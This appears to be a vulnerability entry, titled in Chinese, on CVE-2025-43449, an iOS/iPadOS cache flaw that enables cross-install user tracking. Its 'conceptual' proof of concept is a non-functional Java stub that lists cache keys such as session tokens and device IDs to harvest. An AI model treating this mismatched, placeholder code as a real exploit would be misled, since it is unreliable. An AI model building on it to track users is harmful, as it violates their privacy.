Apple iOS/iPadOS 缓存处理不当导致跨安装用户追踪漏洞 (CVE-2025-43449)

// CVE-2025-43449 PoC - Conceptual Proof of Concept // This is a conceptual demonstration of the cache tracking vulnerability // DO NOT use for malicious purposes // Simulated malicious app attempting to access cached user data class CacheTrackingPoC { // Target cache keys that may contain user identifiers private static final String[] CACHE_KEYS = { "user_device_id", "user_session_token", "user_behavior_cache", "app_installation_id", "user_preference_cache" }; public static void main(String[] args) { System.out.println("CVE-2025-43449 Cache Tracking Vulnerability PoC"); System.out.println("Target: Apple iOS/iPadOS < 26.1"); // Attempt to access system cache for (String key : CACHE_KEYS) { try { // Simulated cache access attempt Object cachedData = accessSystemCache(key); if (cachedData != null) { System.out.println("[+] Retrieved: " + key); System.out.println(" Data: " + cachedData.toString()); // Track user across installs using cached identifier trackUserAcrossInstalls(cachedData); } } catch (SecurityException e) { System.out.println("[-] Blocked accessing: " + key); } } } private static Object accessSystemCache(String key) { // Simulated cache access - actual exploitation requires iOS environment // Vulnerable condition: cache not properly isolated between apps return null; // Returns cached user data if vulnerability exists } private static void trackUserAcrossInstalls(Object identifier) { // Use cached identifier to track user across different app installations System.out.println("[!] User tracking established with ID: " + identifier); } } // Note: Actual exploitation requires: // 1. Malicious iOS app with cache access permissions // 2. Exploitation of improper cache isolation in iOS < 26.1 // 3. Network access to transmit collected data to attacker server
